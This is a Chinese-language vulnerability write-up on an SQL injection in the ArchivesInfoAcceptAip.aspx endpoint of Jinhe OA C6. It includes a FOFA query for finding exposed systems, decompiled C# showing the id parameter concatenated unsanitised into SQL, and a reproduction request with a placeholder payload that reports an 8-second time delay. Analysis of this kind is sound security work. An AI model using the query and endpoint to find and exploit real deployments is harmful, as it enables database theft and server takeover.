漏洞简介
金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 ArchivesInfoAcceptAip.aspx 接口处存在SQL注入漏洞,攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
影响版本
金和OA C6
fofa语法
app="金和网络-金和OA"
漏洞分析
根据 ArchivesInfoAcceptAip.aspx 的源码,在 bin 目录下查找 JHBase.Web.Archives.dll 将其进行反编译后找到 ArchivesInfoAcceptAip 的处理逻辑
protected void Page_Load(object sender, EventArgs e)
{
this.htc = ((CultureInfo) this.Session["culture"]).Name + ".css";
if (this.Request["id"] == null)
return;
this.strArchID = this.Request["id"].ToString();
this.ReadLocal();
this.GetList();
this.fillPage();
this.UploadFile1.ModuleID = "ArchivesSlave";
this.UploadFile1.ModuleMessageID = this.strArchID;
this.UploadFile1.ReferenceFilePath = "../Control/";
this.UploadFile1.ButtonAdd.Visible = false;
this.UploadFile1.ButtonDel.Visible = false;
this.UploadFile1.ButtonEditor.Visible = false;
this.UploadFile1.ButtonLook.Visible = false;
this.strContentFiles = JHSoft.Upload.UploadFile.GetFileID("ArchivesContent", this.strArchID);
this.strAcceptPaperName = JHSoft.Archives.ArchivesDoc.getAcceptPaperName(this.strArchID).ToString();
}
参数id被带入GetFileID、getAcceptPaperName等方法
public static string GetFileID(string ModuleID, string ModuleMessageID)
{
string QueryString = $"select fileID from files where ModuleID='{ModuleID}' and ModuleMessageID='{ModuleMessageID}'";
DataTable dataTable = DBOperatorFactory.GetDBOperator().ExecSQLReDataTable(QueryString);
StringBuilder stringBuilder = new StringBuilder();
for (int index = 0; index < ((InternalDataCollectionBase) dataTable.Rows).Count; ++index)
stringBuilder.Append(dataTable.Rows[index]["fileID"].ToString() + ",");
return stringBuilder.Length > 0 ? stringBuilder.ToString().Substring(0, stringBuilder.ToString().Length - 1) : string.Empty;
}
至此,就非常明了了,参数均是被直接拼接进SQL语句中后执行,无任何过滤或校验,导致SQL注入漏洞。

漏洞复现
GET /c6/Jhsoft.Web.Archives/ArchivesInfoAcceptAip.aspx/?id=SQLI_POC HTTP/1.1
Host: jhsoft.mrxn.net

成功延时 8 秒

